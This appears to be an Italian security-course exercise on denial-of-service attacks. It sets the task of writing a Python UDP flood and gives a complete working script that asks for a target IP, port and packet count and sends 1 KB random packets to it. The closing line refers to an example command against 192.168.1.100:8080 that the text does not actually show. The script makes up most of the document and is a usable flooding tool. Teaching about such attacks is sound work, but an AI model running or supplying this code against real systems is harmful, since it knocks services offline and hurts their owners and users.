

Traccia: Esercizio Python per Hacker Gli attacchi di tipo Dos, ovvero denial of services, mirano a saturare le richieste di determinati servizi rendendoli così indisponibili con conseguenti impatti sul business delle aziende. L'esercizio di oggi è scrivere un programma in Python che simuli un UDP flood, ovvero l'invio massivo di richieste UDP verso una macchina target che è in ascolto su una porta UDP casuale. Requisiti: ● Il programma deve richiedere l'inserimento dell'IP target. ● Il programma deve richiedere l'inserimento della porta target. ● La grandezza dei pacchetti da inviare è di 1 KB per pacchetto ● Suggerimento: per costruire il pacchetto da 1KB potete utilizzare il modulo «random» per la generazione di byte casuali. ● Il programma deve chiedere all'utente quanti pacchetti da 1 KB inviare.

```
import socket

import random

def generate_random_packet(size):
    return random.randbytes(size)

def udp_flood(target_ip, target_port, num_packets):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    packet_size = 1024 # 1 KB
    packet = generate_random_packet(packet_size)

    for _ in range(num_packets):
        sock.sendto(packet, (target_ip, target_port))
        print(f'Sent packet to {target_ip}:{target_port}')

def main():
    target_ip = input("Enter target IP address: ")
    target_port = int(input("Enter target port: "))
    num_packets = int(input("Enter number of packets to send: "))

    udp_flood(target_ip, target_port, num_packets)

if __name__ == '__main__':
    main()
```

Questo comando invierà 1000 pacchetti di 1 KB ciascuno al dispositivo con IP 192.168.1.100 sulla porta 8080